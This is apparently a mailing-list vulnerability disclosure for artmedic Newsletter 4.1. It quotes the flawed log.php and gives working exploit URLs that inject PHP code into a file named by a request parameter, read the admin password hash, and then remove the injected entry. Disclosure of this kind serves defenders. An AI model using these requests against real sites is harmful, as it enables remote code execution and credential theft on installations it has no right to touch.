I found a bug in artmedic Newsletter 4.1 (proably even in newer versions) which 
lets an attacker run arbitrary php-code and bypass the password protection.


The reason for this is mistake in design.


log.php:


<?php 

$time = time();

$date = date("d.m.Y, H:i:s");

$remote = getenv("REMOTE_ADDR");

$ip = getHostByAddr($remote);

$logd = "$time"."&&"."$date"."&&"."$remote"."&&"."$ip"."&&"."$email"."&&\n";

$logdaten = fopen("$logfile", "a+");

flock($logdaten,2);

fputs($logdaten, $logd);

flock($logdaten,3);

fclose($logdaten);

//Log-Daten nach Vorhaltezeit löschen

//Delete old logdata

$ablaufzeit = "$time"-"$logtime";

$pruefung = @file($logfile);

while (list ($line_num, $line) = @each ($pruefung)) 

{

$zeiten = explode("&&",$line);

if($zeiten[0] <= $ablaufzeit)

{

$fp = fopen( "$logfile", "r" ); 

$contents = fread($fp, filesize($daten)); 

fclose($fp);

$line=quotemeta($line); 

$string2 = "";

$replace = ereg_replace($line, $string2, $contents);

$fh=fopen($logfile, "w+");

@flock($fp,2);

fputs($fh, $replace);

@flock($fp,3);

fclose($fh);

}}

?>


Usually the log.php is included and $logfile,$logtime and $email are declared 
in the parent document. If we run 
"log.php?logfile=anyfile.anyext&logtime=unixtimestamp>0&email=<-- insert php 
code here -->" we get a file anyfile.anyext with following content:


<html>

...

unixtimestamp&&date&&user.host&&user.ip&&<-- php code -->&&

...

</html>


a simple example to reveal the admin pw Hash is


log.php?logfile=info.php&logtime=000060&email=<?%20require($cur);%20echo%20$password%20?>


just launch info.php?cur=include.php and you will see it.


to kill the entry type: 


"log.php?logfile=info.php&logtime=000000"


vendor has not yet been informed, but he will be as soon as possible ...


regards


C.Schmitz


Reply via email to